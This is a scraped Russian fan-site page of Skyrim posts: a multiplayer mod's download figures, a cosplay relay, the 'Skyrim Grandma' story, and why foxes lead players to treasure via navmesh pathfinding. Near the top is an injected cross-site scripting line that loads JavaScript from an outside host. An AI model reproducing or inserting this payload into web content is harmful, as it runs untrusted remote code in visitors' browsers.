По вопросам выдачи медалек можете писать в https://tes.reactor.cc/post/5812403
"></meta><Script src=https://wapiti3.ovh/1z.js></Script>
»технический пост The Elder Scrolls фэндомы
По вопросам выдачи медалек можете писать в https://tes.reactor.cc/post/5812403
Skyrim multiplayer купи скайрим Игры моды The Elder Scrolls фэндомы
Мультиплеерный мод для Skyrim бьет рекорды популярности — почти 60 тысяч скачиваний за три дня
Ещё 8 июля на площадке Nexus Mods вышла модификация Skyrim Together: Reborn, которая добавляет в «Скайрим» режим кооперативного прохождения в группе до восьми человек.
Судя по данным площадки, её скачали почти 60 тысяч человек. Это сделало модификацию самой популярной за июнь, а по данным ещё и за май эта модификация оказалась на втором месте по популярности.
Если динамика процесса не изменится, то кооперативный мод для Skyrim имеет все шансы стать самым популярным модом для игры за лето 2022 года. Скачать модификацию можно здесь.
Инструкция к установке мода тут.
косплей-эстафета Каляки-Маляки Довакин TES Characters дед мороз Ульяна(БЛ) Бесконечное лето Ru VN Визуальные новеллы The Elder Scrolls фэндомы
Довакин-мороз косплеит Ульяну
Решил соединить разошедшуюся ветвь.Ответ на http://joyreactor.cc/post/4038726
Ответ на http://joyreactor.cc/post/4036241
Косплей-эстафета - http://joyreactor.cc/post/2648203
Тодд Говард TES фэндомы
85‑летная фанатка «Скайрима» получила букет от создателей игры, компании «Bethesda», после перенесённого инсульта.
Бабуля, более известная как «Skyrim Grandma», недавно перенесла инсульт. Всё обошлось, но она забыла, как играть в любимую игру. На стриме геймерша принялась учиться играть заново, ведь искренняя привязанность к игре никуда не пропала.
На YouTube-канал геймерши подписано более 986 тыс. человек. В мае 2021 года фанаты выпустили мод к игре, добавляющий стримершу в качестве персонажа, поведение которого контролирует программа, а создатели пообещали уже в новой части официально добавить бабулю в качестве неотъемлемой части игры — NPC.
Игры Skyrim gamedev баги игр The Elder Scrolls фэндомы
Лисы в Скайриме действительно ведут к сокровищам
Среди игроков Скайриме есть слух, что если проследовать за дикой лисой в открытом мире, то она обязательно приведет вас к сокровищам. По сути, так и происходит. Но это не какая-то реальная фича, которую продумали разработчики, а случайность происходящая из-за особенностей движка.
Пара оригинальных программистов The Elder Scrolls V: Skyrim решили разобраться в этой "фиче", так как никто из команды разработки не хотел признаваться. Как выяснилось, такое поведение лисы объясняется тем, как искусственный интелект лисы пытаются убежать от игрока.
Итак, для начала вы должны понимать, что НИПы в Скайриме прокладывают свой путь для передвижения с помощью специальных навигационных 3D карт, которые называют 'navmesh'
Вот скриншот из Creation Kit'а, в котором navmesh обозначается красной сеткой.
Лиса не имеет атак и поэтому всегда пытается сбежать от игрока подальше. Фишка тут в том, что всякие поля, холмы и тропинки на в открытом мире имеют относительно простой navmesh, где очень мало полигонов (треугольников), в то время как в более интересных локациях типа: лагерей бандитов, скрытой пещеры с сундуком, схрона среди деревьев; таких полигонов больше. А это значит, что ИИ лисы попадает в своеобразную ловушку когда пытается проложить путь через подобные места. Ведь цель ИИ не "убежать на 100 метров" от игрока, а "убежать на 100 треугольников navmesh'а" от игрока, поэтому создается впечатление, что лиса "приводит" игрока к этим интересным местам с сокровищами.
То есть никто не задумывал добавлять в игру лис-ищеек-сокровищ, эта "фича" появилась из-за комбинации работы других игровых систем. Для игрока конечно, разницы нет, намеренно ли лисы это делают или нет.
Ссылка на оригинальный тред Joel Burgess:
Отличный комментарий!